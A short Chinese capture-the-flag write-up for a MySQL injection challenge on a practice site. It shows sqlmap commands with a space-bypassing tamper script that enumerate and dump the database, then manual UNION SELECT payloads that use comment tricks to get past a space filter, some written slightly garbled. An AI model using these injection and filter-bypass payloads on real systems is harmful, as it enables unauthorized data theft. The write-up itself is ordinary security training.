题目名称:简单的sql注入之2
地址http://www.shiyanbar.com/ctf/1908
有回显的mysql注入
格式:flag{}
解题链接: [http://ctf5.shiyanbar.com/web/index_2.php](javascript:;)
sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper "space2comment.py" --level 2

image.png
sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper "space2comment.py" --current-db

image.png
//查看当前数据库(web1)
sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper "space2comment.py" -D web1 --tables

image.png
//查看表(flag)

image.png
sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper "space2comment.py" -D web1 -T flag --columns
//查看列(flag)

image.png
sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper "space2comment.py" -D web1 -T flag -C flag --dump
//查看flag信息

image.png
id=1''(两个单引号)成功,id=1 '' 出错,说明过滤空格。
绕过空格过滤的方式:
/**/
()
%0B 据说%0a-%0z都可以
其他绕过方式
id=1'union//select//1' 查询出两条
id=1'//union//select//table_name//from/**/information_schema.tables' 出错,如果同上的话应该是可以的,我不知道为什么
id=1'union//select//table_name//from//information_schema.tables//where//''=' 这样是可以的
id=1'union//select//column_name//from//information_schema.columns//where//''='
id='union//select//flag//from//flag/**/where''='